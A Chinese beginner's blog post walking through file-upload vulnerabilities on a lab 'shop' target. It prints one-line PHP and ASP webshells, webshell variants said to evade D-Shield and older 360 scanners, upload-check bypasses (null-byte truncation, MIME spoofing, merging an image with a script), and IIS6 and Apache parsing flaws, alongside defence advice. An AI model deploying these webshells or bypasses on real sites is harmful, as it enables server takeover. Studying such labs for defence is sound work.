信安小白,一篇博文讲明白上传漏洞——获得shop靶机的Webshell

Posted .G( );

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了信安小白,一篇博文讲明白上传漏洞——获得shop靶机的Webshell相关的知识,希望对你有一定的参考价值。

实验环境:Win7


系列博文

  1. 信安小白,说明白渗透测试及信息安全
  2. 信安小白,一篇博文讲明白暴力破解和SQL注入
  3. 信安小白,一篇博文讲明白上传漏洞——获得shop靶机的Webshell
  4. 信安小白,一篇博文讲明白存储型、反射型XSS漏洞
  5. 信安小白,一篇博文讲明白CSRF攻击和防御

前言

  获得了Webshell就是获得服务器的远程web管理权限。我们要控制服务器,就必须要有通道,使服务器能接受指令。因此这个指令获取的媒介就是木马。木马能够隐蔽的接受远程指令,能够让黑客远程控制服务器。


Webshell——脚本攻击工具

Webshell就是一个木马后门。
  shell 是指“为使用者提供操作界面”的软件,类似于 windowscmd.exe 。攻击者常常将服务器能运行的脚本文件(木马文件)放置在网站服务器地web目录中,通过web方式,利用木马控制网站服务器,包括上传下载文件、执行任意程序命令等,这称为拿到了服务器的Webshell,也就是拿到服务器的web控制权限。
Webshell可以穿越防火墙
  攻击者与被控制地服务器或远程主机都是通过80端口传递数据,因此不会被防火墙拦截。

1. Webshell 工具举例

中国菜刀: 一款c/s型的Webshell管理工具,它的服务端程序极小,只有一句代码,因此保证了Webshell的隐蔽性,并且这段代码所能实现的功能是非常强大的。

主要功能有:

  1. 文件管理:缓存下载目录,并支持离线查看缓存目录;
  2. 虚拟终端:操作方便;
  3. 数据库管理:支持YSQL,MSSQL,ORACLE,INFOMIX,ACCESS

只要往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀获取和控制整个网站目录。

php<?php @eval($_post['pass']);?> 
asp:<%eval request ("pass")%> 


不同语言的一句话构成几乎完全一致:

  • 请求客户端数据
  • 然后执行请求到的数据
  • eval() 函数可将字符串转换为代码执行,并返回一个或多个值

2. 如何获得Webshell

要获得Webshell:

  1. 找到上传途径
  2. 成功上传木马(绕过上传验证),木马要能被执行
  3. 知道木马存储路径
  4. 执行木马获得Webshell

找到上传途径

  • 文件上传
  • 数据库备份写shell
  • FCKeditor 编辑器上传漏洞,任意文件上传漏洞

3. 上传检测

上传的文件需要上传检测,被认可的文件才能够上传。

A 客户端 :javascript 检测(通常为 检测文件扩展名)
B 服务端文件扩展名检测
C 服务端 MIME 类型检测(检测Content-Type 内容)
D 服务端文件内容检测 (检测内容是否合法或含有恶意代码)
E 文件大小检测

3.1 上传验证判断(保证能绕过检测,上传木马)

判断是哪种验证方式:

  • 是否进行文件大小验证 (限制文件大小,不能太小)
  • 是否进行文件内容验证 (要求特殊的文件格式,例如:要求文件内容是图片,可以采用木马和图片合并的方式绕过)
  • 是否MIME类型验证
  • 是黑名单还是白名单验证 (黑名单验证:有些格式明确不能上传,例如脚本文件不能上传;白名单验证:只能上传xx文件,此类验证同时需要验证是客户端还是服务端的验证)
  • 判断是客户端验证还是服务器端验证

3.1.1 内容检测绕过

文件内容检测:
将图片文件和一句话木马合成

copy 1.jpg /b + 2.asp /a 3.asp

文件大小检测:
将一句话木马复制多遍

3.1.2. 黑名单检测绕过

  1. 文件名大小写绕过
      用像AsP,pHp 之类的文件名绕过黑名单检测
  2. 名单列表绕过
      用黑名单里没有的名单进行攻击,比如asa 或cer 之类
    IIS6.0默认的可执行文件除了 asp 还包含 – .asa,– .cer,– .cdx
  3. 特殊文件名绕过
      发送的http包里把文件名改成test.asp.test.asp_(下划线为空格),这
    种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里
    进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和
    空格

3.1.3 客户端(浏览器端)扩展名检测绕过

  没有向服务端发送任何数据信息,就对本地文件进行检测是否是允许上传的文件类型,这种方式称之为客户端本地javascript检测。

Burp Suite:是用于攻击web应用程序的集成平台,其中:BurpSuite含有Proxy模块——一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序(服务器)之间的中间人,它允许拦截,查看,修改在两个方向上的原始数据流(抓取、查看、更改数据包)。

  通过Brup Suite软件,上传的.asp文件可以让Brup Suite抓到包,说明不是浏览器端白名单验证,而是服务器端验证。如果是客户端的验证,那么.asp文件肯定无法通过浏览器,自然而然burp就抓不到包。

如何绕过客户端验证?

  • 将木马文件扩展名设为 jpg,让浏览器放行通过
  • 上传 111.jpg,浏览器验证通过
  • burp抓包拦截,将 111.jpg 改为 111.asp

3.1.4 服务端文件扩展名检测绕过

服务器端白名单检测: 不能在服务器检测之前修改,在服务器检测后修改

也就是说,服务器端检测时是111.jpg,存储时变成111.asp

  上传时,路径可控时,使用00截断可以绕过,Burp Suite抓包,如果发现有上传路径可以考虑使用00截断。

0x00 截断:
原理: 字符串结束符 \\0 的16进制ASCII值是 00,计算机遇到00字符,以为是字符串结束符,00后面的字符将被截断
  因此可以考虑将Burp Suite抓到的包,在16进制(Hex)下将 . ASCII值(2e)修改为 00,截断asp后面的内容,最后以111.asp 存入服务器。

方法:先让Burp Suite抓包,如果发现有上传路径可控,即可以修改filepath参数,可以考虑使用00截断。
  服务器先判断 filename(111.jpg) 是不是白名单,如果检测通过,就将 filename 拼接到路径(filepath :Img_shopxp/upfilepic/888.asp.jpg)下,即filepath :Img_shopxp/upfilepic/888.asp.jpg111.jpg。最后将.jpg111.jpg截断,存储路径最后变成:filepath :Img_shopxp/upfilepic/888.asp

3.1.5 服务端白名单检测绕过

00截断绕过服务器白名单检测具体办法:
filepath : Img_shopxp/upfilepic/
filename : 111. jpg
服务器检测filename后存储在指定的filepath下 Img_shopxp/upfilepic/111.jpg

1、将filepath参数修改 :Img_shopxp/upfilepic/888.asp.jpg
2、将第二个 “.” ASCII值(2e)修改为 00,截断asp后面的内容
3、服务器检测filename后会保存到路径下,拼接为:Img_shopxp/upfilepic/888.asp.jpg111.jpg
"." ASCII值修改为 00 后,被计算机认为是 字符终止符,截断.jpg111.jpg,存储为 Img_shopxp/upfilepic/888.asp

  上传时路径可控时在16进制下,使用00截断。这里可以看到,第二个 “.” 00截断后出现了小方块…
路径名可以根据自己喜好编写,途中修改成的路径Img_shopxp/upfilepic/111.asp.jpg

3.1.6 服务器端检测绕过

MIME检测绕过
  web服务器使用MIME来说明发送数据的种类,通过MIME类
型来判断文件是否GIF图片。
修改 Content-Type:image/jpeg

提示:upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。目前一共20关,每一关都包含着不同上传方式。
项目地址:https://github.com/c0ny1/upload-labs

4. 解析漏洞

Apache解析漏洞
  Apache 是 从右到左开始判断文件扩展名 来解析文件,如果文件扩展名不被识别,就再往左判断。比如 cimer.php.owf.rar .owf.rar 这两种后缀是Apache不可识别解析,Apache会把cimer.php.owf.rar解析成php。因此,上述00截断的方法,如果使用的是Apache服务器就可以在filename那里直接00截断。
  如何判断是不是合法的后缀就是这个漏洞能否利用的关键,测试时可以尝试上传一个cimer.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀。

IIS6.0解析漏洞
  在IIS6.0下,分号后面的不被解析,如cimer.asp;.jpg会被当做cimer.asp还有IIS6.0默认的可执行文件除了 asp 还包含 – .asa,– .cer,– .cdx都可被当做asp被解析的。

  1. 文件解析 xx.asp;.jpg
  2. 目录解析 /xx.asp/xx.jpg
    在网站下建立文件夹的名字为 .asp /.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。如创建目录cimer.asp,那么 /cimer.asp/1.jpg 将会被按照正常的asp文件进行。

5. 文件上传漏洞防御(多数时采用组合拳进行防御)

  • 检查文件上传路径 ( 避免 0x00 截断、 IIS6.0 文件夹解析漏洞)
  • 服务器白名单检测 ( 避免服务器以非图片的文件格式解析文件 )
  • 文件内容检测 ( 检测图片内容中是否插入Webshell)
  • 图片二次渲染 ( 最变态的上传漏洞防御方式 , 基本上完全避免了文件上传漏洞 )
  • 文件重命名 ( 如随机字符串或时间戳等方式 , 防止攻击者得到Webshell的路径 )
  • 文件MIME验证

6. 当上传路径未知时,不能用00截断怎么办——数据库备份功能帮助上传

获得webshell的过程:

  1. 找到后台入口:默认后台、御剑扫描、WebScan、爬虫;
  2. 获得登录用户名密码:弱口令、暴力破解、SQL注入(产生原因:用户提交的数据当作代码来执行,能够让数据库执行查询指令,查询表、列、字段,诸位的拆解字段)
  3. 登录后台找到上传途径,判断上传验证类型:客户端还是服务器端?大小?内容?白名单?
  4. 成功上传木马(绕过服务器白名单验证+大小验证)复制木马或合成图片、00截断
  5. 菜刀连接木马获得Webshell

当不能设置服务器存储路径时怎么办?

数据库备份功能帮助上传:
数据库可以备份成 .asp 文件,是否任意文件都能通过备份功能变成.asp文件…

注意:
  这里注意要备份文件的路径(用来上传一句话木马)和备份文件存储的路径(用来连接Webshell)
1、所有路径是相对于“数据库备份”页面的路径
2、菜刀连接前要清楚缓存,注意路径是否正确。



Webshell权限默认继承于web容器(web sever)权限
apache(默认:系统管理员权限)
IIS(默认:User权限)
nginx和Tengine(默认:网络用户权限)

网站管理员可以限制Webshell权限
  针对Windows下web目录的设置,执行脚本仅仅给web匿名账户读取文件的权限,用户可以上传的目录不给其执行权限。这样就算上传了webshell也无法执行,或者权限大大受限。

现实中Webshell权限一般设置为:匿名访问权限 (guest权限)
提权: 提高自己在服务器中的权限,目标是拥有管理员权限

7. 文件包含漏洞

没有00截断、数据库备份功能,还有哪些漏洞能帮助绕过服务器白名单验证?——文件包含漏洞
  程序员希望代码更灵活,将包含的文件设置为变量。几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP中居多,在JSP、ASP中十分少甚至没有。
  服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。只要文件内容符合PHP语法,就可以按PHP解析。

7.1 文件包含漏洞防御

  • 白名单验证,例如必须为include.php
  • 尽量不要使用动态包含,包含页面固定写好
  • 严格判断包含的参数是否外部可控

8. 杀毒软件原理

  即使一句话木马已经躺在目标网站目录了,访问的时候也被WAF(Web防火墙、安全狗、查杀软件)断掉连接。
  杀毒软件就是一个信息分析的系统,它监控所有的,当它发现某些信息被感染后,就会清除其中的病毒。

  • 内存-硬盘
  • 网络-内存
  • 网络-硬盘
      信息的分析(或扫描)方式取决于其来源,杀毒软件在监控电子邮件或局域网间数据移动时工作方式是不同的。

8.1 杀毒软件功能模块

8.2 查杀方式

特征码扫描:(全盘扫描)

  • 病毒特征码判断就像指纹识别一样,一个指纹对应一个人,一个特征码只对应一个病毒。

校验和法:

  • 将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存。定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致。

行为监测(主动防御)

  • 通过分析信息的行为并将其与一个危险行为样式库进行对照以判别信息的危险性。例如:杀毒软件会对新安装的程序进行提示,是否构成威胁。

如何获取病毒特征码:

  • 反病毒工程师从计算机中提取 可疑程序,各大极客工程师也会在木马论坛中交流新发现的可疑病毒;
  • 然后反病毒工程师返回公司的实验室;
  • 反病毒工程师在实验室运行 可疑程序 看行为,如果行为符合病毒定义,判定此可疑程序是病毒
  • 反病毒工程师为该病毒提取特征码(一个特征码只对应一个病毒,就像一个指纹对应一个人)
  • 用户计算机的杀毒软件升级该病毒特征码(现在是云查杀,云端升级病毒库)
  • 扫描后,杀毒软件才能告诉用户,该可疑程序是病毒

杀毒软件能够查杀病毒的关键: 反病毒公司必须先收集到病毒样本。

8.3 查杀方式优缺点比较


注意:
  同一木马,在不同信息安全公司下的特征码是不同的,因为每个信安公司的特征码是该公司的核心产品,是竞争力所在,一般不对外销售是核心机密。这导致了各个杀毒软件查杀准确率存在差异。
  教验和的缺点是存在误报。文件内容在正常使用时也经常会有变动,容易造成误报,因此该方法现在使用比较少了。
  主动防御,行为检测,误报率很高,如果不是安装官方的软件,经常会存在误报信息。

9. 一句话木马变形

原型:

<%eval request("z")%>

绕过D盾Web查杀,asp木马变形:(D盾软件内部实现的Bug有关)

<%
<!--"--> 
eval request("chopper") 
%>

过低版本360:

<%Y=request(“z")%> <%eval Y%>

10. 提高安全意识

安卓远控木马:
  诱惑用户安装,运行后可以不知不觉的远程打开受感染目标手机的摄像头,查看短信,录制麦克风,定位地址等一系列操作。

如何防御:
  木马也需要安装才能起效,所以尽量不要下载第三方应用。

思路:


总结——获得Webshell

要获得webshell:

  1. 找到上传途径
    登录后台后找到上传文件途径
  2. 成功上传木马 (绕过上传验证),木马要能被执行判断为什么验证,再针对验证绕过00截断绕过服务器白名单验证。
  3. 知道木马存储路径
  4. 执行木马获得webshell
    连接菜刀

实验——上传一句话木马

1. 找到后台上传通道

要上传一句话木马,我们就需要进入后台,找到能上传文件的位置,如下图的上传小图片按钮

2. 制作一句话木马

制作 一句话木马 文件,格式为 .asp (我这里起的文件名为:111.asp)

<%eval request("chopper")%> #chopper这里是登录菜刀链接的密码

3. 上传一句话木马

3.1 探索是否存在上传验证,绕过验证

几次上传后发现上传不成功,上传失败,说明网站存在上传验证

判断上传的验证方式(可能验证方式一种或多种),针对验证方式进行绕过:

  1. 黑名单验证(不允许.asp上传,可以改大小写,文件改为:111.AsP)
  2. 白名单验证(只允许.jpg、.gif等文件格式上传)
  3. 大小验证(只允许一定合适大小的文件上传)
  4. 内容验证(文件中不含图片,只含一句话木马)

针对内容验证可以采用合成文件的方式绕过:

cd C:\\Users\\kim\\Desktop\\实验1 #进入文件目录下(目录根据)
copy qq.png /b +guo.asp /a test.jpg #将图片文件(qq.png)和一句话木马文件(guo.asp)合称为同一个文件(test.jpg)


合成图片后,上传成功

3.2 判断是客户端还是服务端验证

Burp Suite :是java平台下的,需要先安装java(java环境安装)


可以改一下端口,我改成了8081


  为了让Burp Suite可以抓到包,我们需要设置一下局部代理:各个浏览器可能位置不一样,大概位置: 浏览器的工具菜单下,Internet选项中的连接选项,局域网设置,设置一下刚才的端口号(127.0.0.1:8081和Burp Suite中的一样就好)

上传含有一句话木马的图片文件,注意:Intercept is on
注意: 正常浏览网页时一定是Intercept is off ,如果是Intercept is on 浏览器发出的包都会被Burp Suite拦截,导致上不了网,网页打不开。


可以看到上传的 filename,说明浏览器发送的包OK,后需要Burp Suite来转发

我们再找一个不能通过的包,guo.asp

  此时能抓到包,说明是服务器端验证。因为如果是浏览器端验证的话,上传时的包就应该被浏览器率先截断了,Burp Suite就不能抓到包了。现在能抓到包,说明浏览器段没有进行白名单验证。

总结:asp文件无法上传,只能上传jpg格式文件,通过Brup软件发现,asp与jsp合并的文件可以上传,可以通过Content-Type看到文件其实是text形式。既然上传的文件可以通过Brup抓包软件,说明不是浏览器端白名单验证,而是服务器端验证。否则无法通过浏览器后面的Brup。

提示: Content-Type是MIME验证的参数。 此时能发现,验证出来的.asp文件是text文本类型。

4. 00截断

  现在我们已经上传了一句话木马,并且上传成功。但是此时一句话木马依旧不能工作,因为我们上传的文件保存在服务器端是 .jpg 文件,我们需要的是 .asp、.php脚本文件 。因此我们必须存成 .asp格式。再加上我们上传文件时,能看到上传的文件存在服务器上的路径(正常情况下看不见的),因此我们可以使用00截断。

  通过Burp Suite抓到的包,我们还可以改文件路径。可以下图路径后面加入1234.asp.jpg,在asp后面加入00截断。网站上传的图片名称(test.jpg)会直接加到路径之后再上传到服务器。上传的路径就是:img_shopxp/upfilepic/1234.asp.jpgtest.jpg 如果在.jpg开始阶段,最后真实的上传路径就是:img_shopxp/upfilepic/1234.asp ".jpgtest.jpg"全部被截断了
(具体内容详见上面叙述的00截断)

. 16进制ASCII码2e!点击Hex进入查找页面,查找 1234.asp.jpg 的16进制ASCII码

1234.asp.jpg,有两个 . (两个2e)将后一个 . 代表的2e改成00,进行00截断

00截断后显示如下图

最后点击Intercept is on 变为Intercept is off 上传成功。

5. 连接菜刀

连接菜刀后就可以侵入主机了
打开菜刀,右键选择添加,写入一句话木马文件的路径,密码是chopper(最开始一句话木马中设置的密码),选择脚本ASP(Eval),点击添加连接菜刀。

双击新添加的路径,能访问服务器后台,获得了管理权限,能操控服务器了,说明此时服务器被我们攻破了。

6. 防御方案

设计网站时,最好设计浏览器白名单验证,最好不要在网站上显示出保存的路径。


以上是关于信安小白,一篇博文讲明白上传漏洞——获得shop靶机的Webshell的主要内容,如果未能解决你的问题,请参考以下文章

信安小白,一篇博文讲明白暴力破解和SQL注入

小白如何开始在博客园上开始自己的第一篇博文

第一篇博文

读法克鸡丝博文《技术,产品,团队》有感

在博客园开通了博客, 以此纪念发的第一篇博文。

信安面试官常问的50个问题,你能答上几个?